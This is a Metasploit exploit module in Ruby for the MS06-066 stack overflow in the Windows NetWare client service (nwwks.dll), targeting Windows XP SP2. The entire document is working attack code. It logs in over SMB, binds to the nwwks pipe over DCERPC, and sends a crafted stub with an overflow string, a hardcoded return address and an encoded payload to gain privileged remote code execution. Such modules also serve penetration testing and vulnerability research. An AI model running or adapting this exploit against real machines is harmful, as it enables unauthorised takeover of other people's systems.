Microsoft Services MS06-066 nwwks.dll

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB  
  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft Services MS06-066 nwwks.dll',  
'Description' => %q{  
This module exploits a stack overflow in the svchost service, when the netware  
client service is running.   
},  
'Author' => [ 'pusscat' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-4688'],  
[ 'OSVDB', '30260'],  
[ 'BID', '21023'],  
[ 'MSB', 'MS06-066'],  
  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "",  
'Compat' =>   
{  
# -ws2ord XXX?  
},  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[   
'Windows XP SP2',   
{  
'Ret' => 0x616566fb, # modemui.dll [esp + 16]: popaw, ret  
},  
]  
],  
  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Nov 14 2006'))  
  
register_options(  
[  
OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']),  
], self.class)  
  
end  
  
def exploit  
# [in] [unique] wchar *  
# [in] [unique] wchar *  
# [out] long  
  
ofstring = Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00"   
stubdata =   
NDR.long(rand(0xffffffff)) +  
NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +  
NDR.long(rand(0xffffffff)) +  
NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") +  
NDR.long(rand(0xffffffff)) +  
NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +  
NDR.long(rand(0xffffffff)) +  
NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +  
NDR.UnicodeConformantVaryingStringPreBuilt(ofstring)  
  
  
  
  
  
print_status("Connecting to the SMB service...")  
connect()  
smb_login()  
  
handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
print_status("Calling the vulnerable function...")  
  
begin  
dcerpc.call(0x01, stubdata)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
print_good('Server did not respond, this is expected')  
rescue => e  
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/  
print_good('Server disconnected, this is expected')  
else  
raise e  
end  
else   
print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")  
end  
  
# Cleanup  
handler  
disconnect   
  
if (dcerpc.last_response != nil and   
dcerpc.last_response.stub_data != nil and   
dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")  
return true  
else   
return false  
end  
end  
  
end  
`